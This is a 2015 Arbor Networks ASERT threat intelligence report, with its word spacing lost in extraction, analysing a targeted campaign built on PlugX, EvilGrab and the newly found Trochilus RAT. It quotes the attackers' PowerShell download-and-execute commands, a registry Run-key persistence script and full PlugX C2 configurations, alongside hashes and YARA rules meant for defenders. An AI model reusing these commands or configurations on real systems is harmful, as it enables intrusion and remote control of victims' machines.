Usingcloudstoragefacilitiesappearstobeaknowntacticofthisgroupofactors,astheywereobserved utilizingGoogleDriveasdescribedinTargetedAttacksonanEnvironmentalNGObyCitizenLab.
Toour ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger 6 Proprietary and Confidential Information of Arbor Networks, Inc. knowledge,thesearethefirstsignsthatDropboxmayalsohavebeenused.
Thepowershellisasfollows(bracketsaddedtoanymaliciouscontentstopreventaccidentalclicks): windir\System32\cmd.exe /c mode con cols15 lines1   powershell (new-object System.
Net.
WebClient).DownloadFile(http://www.oma.org[.
]tw/setup/note.exe,TEMP\note.exe) Start- Process TEMP\note.exe TheshortcutusesacommandprompttorunPowerShelltoinvokeaSystem.
Net.
WebClientclasstousethe DownloadFilemethodtogetnote.exefromtargetsite,storeitinTEMPthenrunthefile.
Thispowershell basicallyperformsatypicaldownloadandexecutefunctionofthefilelocatedat http://www.oma.org[.
]tw/setup/note.exe.
Thewww.oma.org[.
]twsiteistheOccupationalMedicineAssociationinR.O.C..Thissiteisorwasinsecure, asithadbeencompromisedanddefacedseveraltimesbyapparentlyunrelatedactors.
Themalware mentionedhereinhassincebeenremoved.
Figure 5: Setup directory containing two malware Thepayloadofthefirstdownloader,Note.exealsousesPowerShellto downloadandexecutehttp://down.360safe.com/inst.exe,whichisthe 360TotalSecurity(Qihoo360)anti-malwareapp.
PowerShellalso downloadsandexecutesthefileSetup.exefromthesamestaging directoryonwww.oma.org[.]tw/setup/.
Note.execreatesapersistencemechanismbycreatingafilecalled StartON.batwhichisthenaddedtotheWindowsregistry.
Therelevant codeisasfollows: start /min powershell (new-object System.
Net.
WebClient).DownloadFile(http://down.360safe[.
]com/inst.exe, C:\\ProgramData\\ChromeDel.exe) Start-Process -Wait -FilePath C:\\ProgramData\\ChromeDel.exe echo start /min powershell (new-object System.
Net.
WebClient).DownloadFile(http://www.oma.org[.
]tw/setup/Setup.exe, C:\\ProgramData\\ChromeDel.exe) Start-ProcessC:\\ProgramData\\ChromeDel.exeC:\\ProgramData\\StartON.bat reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v StartON /t reg_sz /d C:\\ProgramData\\StartON.bat /f Setup.exeexecutesanddropstwofiles:data.datandshell.dllintotheWEventsCachefolder.
Data.dat appearstobeencrypted,andshell.dllattemptstoposeasabinaryassociatedwiththeUltraEditapplication.
Shell.dllappearstobeahelperapplicationknowntoitsdevelopersasServantShell.
Basedonreviewofthe ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
7 codeoftheTrochilusRATdiscoveredbyASERT,shell.dllisafilegeneratedwhentheRATiscompiled.
AYARArulefordiscoveringadditionalsamplesofServantShellwascreated.
//
servantshell.yara 10/26/15 // Arbor Networks ASERT Nov 2015 rule servantshell strings: string1  SelfDestruction.cpp string2  SvtShell.cpp string3  InitServant string4  DeinitServant string5  CheckDT condition: all of them  ArelativelynewfeatureofVirusTotalcalledRetroHuntwasusedwiththisYARAruletodiscoverothersamples ofthismalware.
Themalwareappearstoberare-outof80terabytesofmalwarestoredinsideVirusTotalat thetimeofsearch,onlyeightadditionalsampleswerediscovered.
Onesampleclearlyrevealedinformation aboutwherethemalwarehadbeenfoundinthewild.
ThelocationofafileanalyzedbyVTon9-30-2015was foundonthestaging/storageserverandisstillpresentatthetimeofthiswriting.
Figure 6: Malware archive contains six APT-level threats ThisURLishostedinanopendirectorywhere severalothermalwaresampleshavebeen storedintheformofRARfiles,andrevealsa groupingofmalwareutilizedinthisand perhapsothercampaigns.
Thissitehasbeen reportedtotheMyanmarCERTforincident response.
Newcontenthasbeenaddedtothe siteasofDec10,2015(notreflectedinthe imagetotheleft).
TheLastmodifiedfieldsuggeststhatthis webserverhasbeenusedasafilestaging locationsinceatleastApril10of2015.Thefirst indicatorsofpassiveDNSactivityonthisdomainnamewereobservedonApril10at03:20:28.Whilefurther researchisrequiredtogainabetterunderstandingofthedistributionsystematplay,analysisofthesefiles canprovideinsightintothethreatcampaign(s)athand.
Therelevantfilehashes,datestamps,andotherdataabouttheRARfilesfollows.
Anindentedbulletmeans ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger 8 Proprietary and Confidential Information of Arbor Networks, Inc. thatthepriorbulletwasanarchiveorinstallerfilethatcontainedtheindentedfiles.
Forexample,inthefirst sample,Patch-update0409BAN.rarcontainedSetup.exe,SqmApi.dll,andplgus_res.dll.
Thefileplgus_res.dllis aninstallerfilethatcontainsthefiveinnermostfileslisted(startingwithmcf.epandendingwithres.db).This formatshallbeusedthroughoutthedocument.
Filesshallbediscussedindateorder,inordertogetasense ofthreatactortimelinesandcapabilities.
Sample 1: PlugX MD5(Patch-update0409BAN.rar)70f1a9ee69cea1b0f53099eb27753895April10,2015 MD5(Setup.exe)9d04bd9a340eca1b92fe05755e9b349a MD5(SqmApi.dll)660aa2b9375aaa8e0c1748974f130ba3 MD5(plgus_res.dll)c91a22de0d7010b334c6010f6bd67462 MD5(mcf.ep)627aebf89b0771440cf7aa8e0a4db296 MD5(mcf.exe)884d46c01c762ad6ddd2759fd921bf71 MD5(mcutil.dat)f02925b8d510e35cc33d662d2311f671 MD5(mcutil.dll)72e59f6e07a7f9981ef98b541a05628c MD5(res.db)a453bb1f1b5bb3f4810e38290190516c Run-timefilesareplacedintotheTaskSchedulerCUDLfolder,asspecifiedinthePlugXconfiguration.
SeveralofthefilesstoredherearehiddenfromtypicalviewusingtheSystem,Hiddenattributes.
The purposeofthelong,apparentlyrandomlynamed,filesisatopicforfurtherinvestigation.
Table 1: PlugX filesystem activity Attribute Filepathandname MD5hash A C:\ProgramData\TaskSchedulerCUDL\lpversudxi 5f66c2e2679585d4e46a9a6a2b488bc5 SH C:\ProgramData\TaskSchedulerCUDL\mcf.ep 627aebf89b0771440cf7aa8e0a4db296 SH C:\ProgramData\TaskSchedulerCUDL\mcf.exe AppData\Local\Temp\RarSFX0\mcf.exe 884d46c01c762ad6ddd2759fd921bf71 SH C:\ProgramData\TaskSchedulerCUDL\mcutil.dll AppData\Local\Temp\RarSFX0\mcutil.dll 56809e68c70179bc88eb980aa313c89a A C:\ProgramData\TaskSchedulerCUDL\ufbidruosivibuted 4893758ff2ce2d6eeacbf5577f149301 Analysisofnetworktrafficrevealsthatthismalwaremakesanoutboundconnectionto222.222.222[.
]222on TCP/9999,aconnectionthathasbeenseeninseveralothersamplesintheoriginalclusterofsix.
Duringour analysis,thisportwasalwaysnon-responsive,yetattemptedconnectionsto222.222.222[.
]222onTCP/9999 shouldbecauseforconcern.
Next,themalwareissuesaDNSqueryforwebhttps.websecexp[.
]com,and receivesaDNSresponseof114.108.136[.
]15.AconnectiontoTCP/443wasthenobservedtothisIPaddress.
Theuseofport443isleveragedbythemalwaresownprotocol(itisnotSSL/TLS).Avisualrepresentationof theobfuscatedtrafficisincludedherein(redclient,blueserver).
ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
9 Figure 7: Obfuscated PlugX connection to C2 NetworkactivityfromthissampletriggersthefollowingEmergingThreatssignature(basedonaDNSlookupof aknownmaliciousdomain): [2021960] ET TROJAN PlugX or EvilGrab DNS Lookup (websecexp.com) (rev: 1) ThefullconfigurationofthisPlugXsampleisasfollows: Sample Properties: [plugx] cnc:  appeur.gnway.cc:90 [plugx] cnc:  webhttps.websecexp.com:443 [plugx] cnc:  usacia.websecexp.com:53 [plugx] cnc:  usafbi.websecexp.com:25 [plugx] cnc1:  webhttps.websecexp.com:443 (TCP / HTTP) [plugx] cnc2:  usafbi.websecexp.com:25 (UDP) [plugx] cnc3:  usacia.websecexp.com:53 (HTTP / UDP) [plugx] cnc4:  appeur.gnway.cc:90 (TCP / HTTP) [plugx] cnc5:  usafbi.websecexp.com:25 (TCP / HTTP) [plugx] cnc6:  webhttps.websecexp.com:443 (HTTP / UDP) [plugx] cnc_auth_str:  0409 ARP CUDLL [plugx] dns:  168.126.63.1 [plugx] dns:  61.4.64.4 [plugx] dns:  8.8.8.8 [plugx] dns:  203.81.64.18 [plugx] enable_icmp_p2p:  0 [plugx] enable_ipproto_p2p:  0 [plugx] enable_p2p_scan:  0 [plugx] enable_tcp_p2p:  0 [plugx] enable_udp_p2p:  0 ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger 10 Proprietary and Confidential Information of Arbor Networks, Inc. [plugx] flags1:  4294967295 [plugx] flags2:  0 [plugx] hide_dll:  -1 [plugx] http:  http://hi.baidu.com/nvcvrclsnzaioxe/item/5e101810ed4197b665eabf [plugx] icmp_p2p_port:  1357 [plugx] injection:  1 [plugx] inject_process:  windir\system32\svchost.exe [plugx] inject_process:  ProgramFiles\Internet Explorer\iexplore.exe [plugx] inject_process:  windir\explorer.exe [plugx] inject_process:  ProgramFiles(x86)\Windows Media Player\wmplayer.exe [plugx] install_folder:  AUTO\TaskSchedulerCUDL [plugx] ipproto_p2p_port:  1357 [plugx] keylogger:  -1 [plugx] mac_disable:  00:00:00:00:00:00 [plugx] mutex:  Global\eNzAMQgOXyITQMt [plugx] persistence:  Service  Run Key [plugx] plugx_auth_str:  open [plugx] reg_hive:  2147483649 [plugx] reg_key:  Software\Microsoft\Windows\CurrentVersion\Run [plugx] reg_value:  McAfeeME [plugx] screenshot_folder:  AUTO\TaskSchedulerCUDL\bNjWcdOXFiQIME [plugx] screenshots:  0 [plugx] screenshots_bits:  16 [plugx] screenshots_keep:  3 [plugx] screenshots_qual:  50 [plugx] screenshots_sec:  10 [plugx] screenshots_zoom:  50 [plugx] service_desc:  Windows McAfeeOEMInfo Service [plugx] service_display_name:  McAfeeOEMInfoME [plugx] service_name:  McAfeeOEMInfoME [plugx] sleep1:  100663296 [plugx] sleep2:  0 [plugx] tcp_p2p_port:  1357 [plugx] uac_bypass_inject:  windir\explorer.exe [plugx] uac_bypass_inject:  windir\system32\dllhost.exe [plugx] uac_bypass_inject:  windir\system32\msiexec.exe [plugx] uac_bypass_inject:  windir\system32\rundll32.exe [plugx] uac_bypass_injection:  1 [plugx] udp_p2p_port:  1357 SomeinterestingelementsaboutthissampleconfigurationrevealaninfrastructureoverlapwiththePlugX samplesprofiledintheDefendingtheWhiteElephantpaper.
Inadditiontothefactthatthesampleswere presentonthesamestaging/storageserver,overlappingconfigurationsaddweighttotheideathatthesame groupofactorsisinvolved.
Asfarasderivingadditionalmeaningfromotherelementsintheconfiguration,the cnc_auth_strvalueof0409ARPCUDLLmaybemeaningful,andmayindicatethatthemalwarewas built/configuredonApril09(andplacedonthestagingserverthenextday,indicatedbythewebserver timestamp).Thehttpparameterpointingtoabaidu.comsiteisusedtodeliverC2stoPlugXintheevent thatalltheC2intheconfigurationarenon-responsive.
Inthiscase,thiscontentwasunabletoberecovered fromtheBaidusite.
EachPlugXsamplereviewedheresometimeshasconfigurationoverlapwithother samples,whichcouldindicatedefaultvalues,orpotentiallyvaluesfrompreviouscampaignsthatwerenot removed.
SomewhatdistinctgroupsofactorswieldingPlugXmaypotentiallybeprofiledfromunique ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
11 configurationvaluesacrosssamples.
Sample 2: PlugX MD5(Patch-updateYBbyYB.rar)63a463f2c18676d868d39785a48f073aJune3,2015 MD5(Setup.exe)9d04bd9a340eca1b92fe05755e9b349a MD5(SqmApi.dll)1177bf095bc3673a7373ead852af3f6c MD5(plgus_res.dll)69a00ee1aa56852bbd28bb9d9765b43c MD5(Google.com.
Logo)02c2450c19bc21391ba2835edf2dd745 MD5(mcf.ep)57cc1ec6470e31ef20abde8e611125b5 MD5(mcf.exe)884d46c01c762ad6ddd2759fd921bf71 MD5(mcutil.dll)9e544eb353b78a6467858fda4b8ec14e MD5(Norman.exe)23a3f48df4b36e3d2e63cde4b85cf4fa MD5(elogger.dll)5ff63e07a481e8768b3ef4d9ee91f13d MD5(mcf.exe)884d46c01c762ad6ddd2759fd921bf71 RarSFX1/folder MD5(mcutil.dll)9e544eb353b78a6467858fda4b8ec14e Figure 8: Signed Norman.exe file used for DLL sideloading Runningsetup.exeresultsinanupdateinstall successdialogbox,followedbyanattemptedTCP connectiontothepreviouslymentionedsite 222.222.222[.
]222onTCP/9999.
Oneofthesupportingfilesinsidetheplgus_res.dll archiveisNorman.exe,alegitimatebinarywiththe originalnameofzlh.exeknownastheProgram ManagerStubwhichisapparentlycreatedand signedbyNormanAS.Thecertificatewasvalidfrom 10/10/201210/11/2015,overlappingwiththe timestampusedontheRARfile.
Theelogger.dllfileexecutes(withWinExec)thefileGoogle.com.
Logothatwasincludedinthesamedirectory toaddoneadditionallayerofunpacking.
OncethefileGoogle.com.
Logoisexecuted,itisremovedfromdisk.
Google.com.
LogoisaRARfilethatcontainsmcf.ep,mcf.exe,andmcutil.dll.
Followingtheexecutionpathof thesefilesresultsinanotherinstanceofPlugXwhichisusingthepreviouslyobservedsites webhttps.websecexp[.]com,usafbi.websecexp[.]com,usacia.websecexp[.]com,andappeur[.
]gnway.ccasC2, andasupplementalC2pointerstoredathttp://epn.gov[.
]co/plugins/search/search.htmlthatwaspreviously documentedinourpaperDefendingtheWhiteElephant.
ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger 12 Proprietary and Confidential Information of Arbor Networks, Inc. ThecompletePlugXconfigurationusedinthissampleisasfollows: [plugx] cnc:  appeur.gnway.cc:90 [plugx] cnc:  webhttps.websecexp.com:443 [plugx] cnc:  usacia.websecexp.com:53 [plugx] cnc:  usafbi.websecexp.com:25 [plugx] cnc1:  webhttps.websecexp.com:443 (TCP / HTTP) [plugx] cnc2:  usafbi.websecexp.com:25 (UDP) [plugx] cnc3:  usacia.websecexp.com:53 (HTTP / UDP) [plugx] cnc4:  appeur.gnway.cc:90 (TCP / HTTP) [plugx] cnc5:  usafbi.websecexp.com:25 (TCP / HTTP) [plugx] cnc6:  webhttps.websecexp.com:443 (HTTP / UDP) [plugx] cnc_auth_str:  0528 ARPYB [plugx] dns:  168.126.63.1 [plugx] dns:  180.76.76.76 [plugx] dns:  8.8.8.8 [plugx] dns:  203.81.64.18 [plugx] enable_icmp_p2p:  0 [plugx] enable_ipproto_p2p:  0 [plugx] enable_p2p_scan:  0 [plugx] enable_tcp_p2p:  0 [plugx] enable_udp_p2p:  0 [plugx] flags1:  4294967295 [plugx] flags2:  0 [plugx] hide_dll:  -1 [plugx] http:  http://epn.gov.co/plugins/search/search.html [plugx] icmp_p2p_port:  1357 [plugx] injection:  1 [plugx] inject_process:  windir\system32\svchost.exe [plugx] inject_process:  ProgramFiles\Internet Explorer\iexplore.exe [plugx] inject_process:  windir\explorer.exe [plugx] inject_process:  ProgramFiles(x86)\Windows Media Player\wmplayer.exe [plugx] install_folder:  AUTO\TempLog [plugx] ipproto_p2p_port:  1357 [plugx] keylogger:  -1 [plugx] mac_disable:  00:00:00:00:00:00 [plugx] mutex:  Global\doWcQFXMASDGYkATMXXeKSsQ [plugx] persistence:  Service  Run Key [plugx] plugx_auth_str:  open [plugx] reg_hive:  2147483649 [plugx] reg_key:  Software\Microsoft\Windows\CurrentVersion\Run [plugx] reg_value:  EventLog [plugx] screenshot_folder:  AUTO\TempLog\bSHAMAPUKhFs [plugx] screenshots:  0 [plugx] screenshots_bits:  16 [plugx] screenshots_keep:  3 [plugx] screenshots_qual:  50 [plugx] screenshots_sec:  10 [plugx] screenshots_zoom:  50 [plugx] service_desc:  Windows Management EventLogs [plugx] service_display_name:  Windows Management EventLogs [plugx] service_name:  Windows Management EventLogs [plugx] sleep1:  83886080 ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
13 [plugx] sleep2:  0 [plugx] tcp_p2p_port:  1357 [plugx] uac_bypass_inject:  windir\explorer.exe [plugx] uac_bypass_inject:  windir\system32\dllhost.exe [plugx] uac_bypass_inject:  windir\system32\msiexec.exe [plugx] uac_bypass_inject:  windir\system32\rundll32.exe [plugx] uac_bypass_injection:  1 [plugx] udp_p2p_port:  1357 Interestingobservationsofthissampleincludethecnc_auth_strof0528ARPYBwhichmayindicatethe malwarecreationorconfigurationdateofThursday,May28,2015.Thestagingdatefromthewebserver timestampisWednesdayJune3,2015,possiblyindicatingthatthethreatactorsdidnotworkoverthe weekend.
ThepresenceofthecommonvalueARPbetweenPlugXsamples1and2couldindicate someonesinitialsorhavesomeothermeaningthatisnotknown.
ThefourDNSIPaddressesinthe configurationfilefeaturethreeofthesameentriesinsample1,butthisconfigurationrevealstheadditionof theDNSIPaddress180.76.76[.]76,whichresolvestopublic-dns-a.baidu[.
]com.
Theinjection_processvalues andtheuac_bypass_injectvaluesarethesamebetweensample1andsample2,butsomeotherminor changestotheconfigurationwerealsoobserved.
Sample 3: Unknown Malware MD5(Security-Patch-Update333.rar)5ed8b90a8d5cabda83fc814e2bbd9600September2,2015 MD5(Security-Patch-Update.exe)82896b68314d108141728a4112618304 Security-Patch-Update.exeisabinarysignedbyBinzhoushiYongyuFeedCo.
,LTd Thecertificateisvalidfrom1/16/20141/17/2016.
ExecutionofthismalwarecreatesanInternetExplorerfolderthatcontainsthefollowingfiles: MD5(conhost.exe)f70b295c6a5121b918682310ce0c2165 AppearstobealegitSandboxIEfile,originallynamedSandboxieBITS.exethatis signedbySANDBOXIEL.T.D.ASERThas20instancesofthisfilebeingusedin malwareoperations.
Additionally,analysisofthefilesPEHash (ffb7a38174aab4744cc4a509e34800aee9be8e57)reveals47instancesofthesame orslightlymodifiedfilebeingusedinvariousPlugXoperationssinceatleast2013.
ThisfileimportsfunctionsfromSBIeDll.dll.
MD5(SBieDll.dll)6c5f17cbd4d0f95fd8f9563219838a05 Thisfilehasitsimportsectiondestroyed,suggestingthatitisobfuscatedand maliciousandnotalegitimateSbieDll.dllfile.
Additionally,thefirstinstructioninside theDllEntryPointispushawhichplacesthecontentsofalltheregistersonthe stackandisoftenobservedinpackedmaliciouscode.
ThisDLLfileissideloadedby conhost.exe.
MD5(dll2.xor)8477f2b4602c552fad68f8c192beeebf Baseduponthefilename,thismaybeanXOR-edDLLfile.
Additionalanalysisis required.
MD5(maindll.dll)d8ede9e6c3a1a30398b0b98130ee3b38 ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger 14 Proprietary and Confidential Information of Arbor Networks, Inc. Thisbinaryisobfuscatedandrequiresfurtheranalysis.
MD5(nvsvc.exe)e0eb981ad6be0bd16246d5d442028687 ThisfileusesMicrosoftFoundationClasses(MFC)andissignedbySquareNetwork TechCo.
,LTDfromthecityofZhongshan,Guangdongprovince,ChinaonNovember 12,2014at9:01:58PM(CNSquareNetworkTechCo.
,LTD(OSquareNetwork TechCo.
,LTD.LZhongshan,SGuangdong,CCN).Thedigitalsignaturecontains anattributefield1.3.6.1.4.1.311.2.1.12thatliststhestringMicrosoftWindows Shellexplorerhttps:www.trustasia.comandwasvalidfromFeb21,2014Feb22, 2015.Trustasia.comisadigitalcertificateproviderinShanghai,China.
MD5(runas.exe)6a541de84074a2c4ff99eb43252d9030 Thisfilecontainsajumptablewith7cases,eachleadingtooneofthefivefiles droppedbythemalware,withtwoadditionalfilesreferencedthatarenotpresent: HOOK.DLLandmon.
Furtherresearchandinvestigationispending.
Toprovidesomelimitedinitialinsight,wecanobservethe presenceofsomeinterestingstringsinmemoryassuch: admin0902 1qaz2wsx3edc .data:0042C400 00000029 C \\Microsoft\\Internet Explorer\\conhost.exe .data:0042C42C 00000026 C \\Microsoft\\Internet Explorer\\dll2.xor .data:0042C454 00000029 C \\Microsoft\\Internet Explorer\\maindll.dll .data:0042C480 00000029 C \\Microsoft\\Internet Explorer\\SBieDll.dll .data:0042C4AC 00000027 C \\Microsoft\\Internet Explorer\\nvsvc.exe .data:0042C4D4 00000027 C \\Microsoft\\Internet Explorer\\runas.exe .data:0042C4FC 0000000F C USERPROFILE\\ .data:0042C50C 00000011 C Application Data .data:0042C520 0000000E C AppData\\Local .data:0042C534 0000000C C SHGetValueA .data:0042C540 0000000C C Shlwapi.dll .data:0042C54C 00000020 C SOFTWARE\\Micropoint\\Anti-Attack .data:0042C56C 00000009 C MP100000 .data:0042C578 00000012 C SOFTWARE\\JiangMin .data:0042C58C 0000000C C InstallPath .data:0042C598 00000014 C SOFTWARE\\rising\\RAV .data:0042C5AC 0000000C C installpath .data:0042C5B8 0000001C C SOFTWARE\\Avira\\Avira Destop .data:0042C5D4 00000005 C Path .data:0042C5DC 0000001C C SOFTWARE\\kingsoft\\Antivirus .data:0042C5F8 00000009 C WorkPath .data:0042C604 00000011 C Software\\360safe .data:0042C618 0000000C C DefaultSkin .data:0042C624 00000018 C SOFTWARE\\360Safe\\Liveup .data:0042C63C 00000005 C curl .data:0042C644 0000000D C 1qaz2wsx3edc Thissamplenevergeneratedanynetworkactivityduringautomatedormanualanalysis.
Furtheranalysisis requiredtoobtaindeeperinsightintothissample(ASERTsampleID29048791).
ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
15 Sample 4: The Newly Discovered Trochilus RAT ThisisthefirstinstanceoftheTrochilusRATobservedbyASERT.Whilethereisachancethatotherthreat intelligenceanalystshavediscoveredanddocumentedthisthreat,weareunawareofanypublicreferenceto thismalwarebeingusedintargetedcampaigns.
Basedontheinformationwehaveaccessto,thisappearsto bearelativelynewmalwarethathasyettobeprofiled.
MD5(Update-Patch0999999.rar)282cdf360dc627dac145842e666ea7e5September23,2015 MD5(Setup.exe)9d04bd9a340eca1b92fe05755e9b349a MD5(SqmApi.dll)abef3efb5972cfe4abdc4a9c99f67f0e MD5(System.dll)6f5257c0b8c0ef4d440f4f4fce85fb1b MD5(plgus_res.dll)03ef3d0131f27416b17807ab3ccd1556 MD5(data.dat)8c67c8b1b149d17bbe3a00c1aa6f940e MD5(shell.dll)304d83e15cce9b8dc826cdee2a96ef62 Thismalwareexecutesinmemoryonlyandthefinalpayloadneverappearsondiskinnormaloperations, howeverthebinariescanbedecodedandaresubsequentlyeasiertoanalyze.
Thissamplemakesanoutboundconnectiontocomputer.security-centers[.
]comatthecurrentIPaddressof 211.255.32[.]130onTCP/25aswellasaconnectiontothepreviouslyobserved222.222.222[.
]222on TCP/9999.Sample4andsample6areverysimilar(bothinstancesoftheTrochilusRAT),andwillbecovered ingreaterdepthinalatersectionofthisdocument.
Sample 5: Grabber/EvilGrab Whilepotentiallydated,anin-depthanalysisofEvilGrabcanbefoundintheTrendMicrodocument2Q ReportonTargetedAttackCampaignsfrom2013[5].
MD5(Security-Patch-Update.rar)76c0285bb89556564594ce1927b837b7October9,2015 MD5(Patch-Update.exe,IEChecker.exe)31c52be912b7269255ec669176663136 Thefinaldecryptedpayloadforthismalwareonlyexecutesinmemoryandnevertouchesdisk,butisinstead injectedintoctfmon.exe.
Therefore,analysisofmemorydumpsfordetectionandclassificationmayprove fruitful.
ThefollowingYARArulecanbeusedtoaidsuchinvestigations.
//
detects instances of EvilGrab aka Grabber malware.
//
Arbor Networks ASERT Nov 2015 rule evilgrab  strings: str1  cload crypt32.dll error str2  Outlook2003_HTTP str3  Outlook2002_HTTP ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger 16 Proprietary and Confidential Information of Arbor Networks, Inc. str4  HTTP Server URL str5  Outlook2003_IMAP str6  Outlook2002_IMAP str7  cget s s password error str8  GetTcpTable failed with d str9  Start Application 2 key str10  Browser Start and Home key str11  USERPROFILE\users.bin str12  cs(s)dsssssssddxxs condition: 8 of them  ThefileinsidetheRAR,IEChecker.exe,isaDLLfilethatcontainsavarietyofobfuscationtechniquesincluding dynamicstringreassemblyfortheloadingofAPIcalls.
ThissamplematchesindicatorsfortheEvilGrab malwarementionedbyPaloAltonetworks[2]butthisfilehasadistincthash.
Incidentally,thethreatactors and/ordeveloperofthemalwareappeartohavenameditGrabberbasedondevelopmentstringsfound therein.
OthershavecalledthismalwareTigerSharkRAT.
TheC2informationonthissample(dns[.]websecexp.com,ns[.]websecexp.com,appeur[.
]gnway.cc),the mutex(New2010-V3-Uninstall),andtheversion(v2014-v05)areidenticaltoelementsobservedinthe malwarethatwasprofiledbyPaloAltoNetworks.
TheGrabbersamplealsoinitiatesunusualnetwork connectionsviaanHTTPGETrequest: Figure 9: Evilgrab/Grabber malware malformed HTTP beacon ItemsofinterestinthisbeaconincludethepresenceoffiveextraneousbytespriortotheHTTPGETrequest.
Thesefivebytes,plustheHost:headerandtheAccept-Languageheaderofzh-cnandtheuniqueMicrosoft stringmakeforasolidnetworksignatureandanadditiontoYARArulesformalwarehunting.
ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
17 Sample 6: Trochilus RAT Sample4and6arebothinstancesofthenewlydiscoveredTrochilusRAT.
MD5(Update-Patch.rar)4e666c05656080180068f35cc7b026cbOctober21,2015 MD5(Setup.exe)9d04bd9a340eca1b92fe05755e9b349a MD5(SqmApi.dll)abef3efb5972cfe4abdc4a9c99f67f0e MD5(plgus_res.dll)34dcfa1fa3e1573b2c401c195fb55833 MD5(shell.dll)fb1d808c6d332fc8176cfa00a8325341 MD5(data.dat)15e16b0659d30e77f21807f779df0f4b Trochilus RAT analysis (samples 4 and 6) Sincesample4and6areverysimilar,wewilldivedeeperintoananalysisofsample4,thefirstinstanceof theTrochilusRATthatweencountered,namedUpdate-Patch0999999.rar.
Analysisrevealspotentiallyuseful timestampsoffilesinsidetheRAR-Setup.exeisfromMarch10,2014andtheothertwofilesarefrom September23,2015.
Figure 10: Files from unpacked RAR of sample 4, Trochilus RAT Figure 11: Initial execution pop-up message ThefileSetup.exeisasignedbinarythatappearstobeapartofa legitimateMicrosoftSecurityEssentialspackage (http://binarydb.com/soft/Microsoft-Security-Essentials-v327664/2) thatloadsalegitimatebinarynamedSqmApi.dllaspartofnormal operations(sqmapiisinsidethebinariesimporttable).When Setup.exeisexecuted,itquicklyloadsitsowncopy,inthelocal directory,ofSqmApi.dllwhichthengeneratesapopuplabeled successthatprintsthestringupdateinstallsuccess.
Thispop-up messagehasbeenobservedinseveralofthemalwaresamples containedinthisset,andfurtherdriveshometheUpdatethemeof themalwareinstallationtacticthathasbeenobservedinfilenames.
TheSqmApi.dllfileexecutesandgeneratesthenetworkconnectionto222.222.222[.
]222onTCP/999just aftergeneratingtheupdateinstallsuccesspop-upmessage.
Next,plgus_res.dllisloadedandexecutedwith CreateProcessAasseeninthefollowingtwoimages.
ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger 18 Proprietary and Confidential Information of Arbor Networks, Inc.
Figure 12: SqmApi.dll generates pop-up and initiates network connection Figure 13: Execution of SqmApi.dll results in the loading and execution of the file plgus_res.dll.
Figure 14: Debugger illuminates the use of CreateProcessA to load plgus_res.dll ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger Copyright 2015 Arbor Networks, Inc. All rights reserved.
19 Plgus_res.dllisactuallyaTrochilusRATinstallationpackagecreatedusingtheNullsoftInstaller(NSIS)format.
Extractingthecontentsofplgus_res.dllwithaspecificversionof7zip(7zbeta9.38inthiscaselaterversions didnotproperlyextracteveryfile)allowsallofthefilestobeviewed,includingtheNSISinstallationscript itself,createdby7zipas[NSIS].nsi.
Shell.dllanddata.datarebothobfuscatedfiles.
Shell.dllisnotanobvious PEfile,havingbeenobfuscatedviaanencodingscheme.
Figure 15: Files extracted from plgus_res.dll by 7zip reveal additional staging Oncethepackagefileplgus_res.dllisproperlydecrypted,injectedintomemoryandexecuted,themalware generatesanoutboundconnectionoverTCP/25.
Figure 16: Trochilus RAT outbound connection - obfuscated Itisinterestingtonotethatthefirstportionofbinarydatabeingsentfromthecompromisedmachine containsthehexvalue0x7e.
Followingthis,adatapacketcontaining0x7ebytesissent.
Inthescreenshot observedabove,thenetworkdestinationwasnolongeronline.
Therefore,trafficwasredirectedtoa simulatednetworkinordertocapturepackets.
Thismalwareattemptedtoevadesandboxanalysisonseveraloccasions,andwasthereforecoaxedtorun manually.
Themaliciouscodeinjectsintoservices.exe.
Thevolatilitymemoryforensicsframeworkmalfind ASERT Threat Intelligence Report  Uncovering the Seven Pointed Dagger 20 Proprietary and Confidential Information of Arbor Networks, Inc. pluginwasusedbyASERTresearchtodeterminethatservices.exehadbeentamperedwithandamemory dumpofthemalwarewasextracted.
Thismalwarethereforeappearstorunonlyinmemoryanddoesnot leaveafootprintonthedisk,exceptintheformofencodedfilesthatdonotexecutebythemselvesandare resistanttostaticfilemalwaredetectionprocessesandstaticanalysis.
TheShell.dllfileisstoredinanencodedmanner,withthefirst4095bytesbeingsubjecttoanXOR-based encodingscheme.
Thedata.datfilewasencodedinaverysimilarmannerexceptthewholefilewasencoded.
Inthecaseofshell.dllandotherfilesrecoveredfromwithinthisbatchofRARfiles,acursoryanalysisthat includesrunningthestringstooloverthebinariesrevealedsomeartifacts,yetmanydetails(includingPE headers)wereobfuscatedinsuchamannerthatstaticanalysistoolswilllikelymissthemaliciouscontents.
Therearetwoimportantvaluesthatneedtobeobtainedfromthe[NSIS].nsifilethatcorrespondtovariable 1andvariable2thatareusedinanNSISIntegerOperation(IntOp).Tousethefollowingscript(providedby ASERT)todecodeotherinstancesofshell.dll,thevalues227and240observedherewillneedtobereplaced withwhatevervaluesarepresentinsidethe[NSIS].nsifilefortheIntOp1andIntOp2functions(see AppendixIforthefullcontentsofarecovered[NSIS].nsifile).
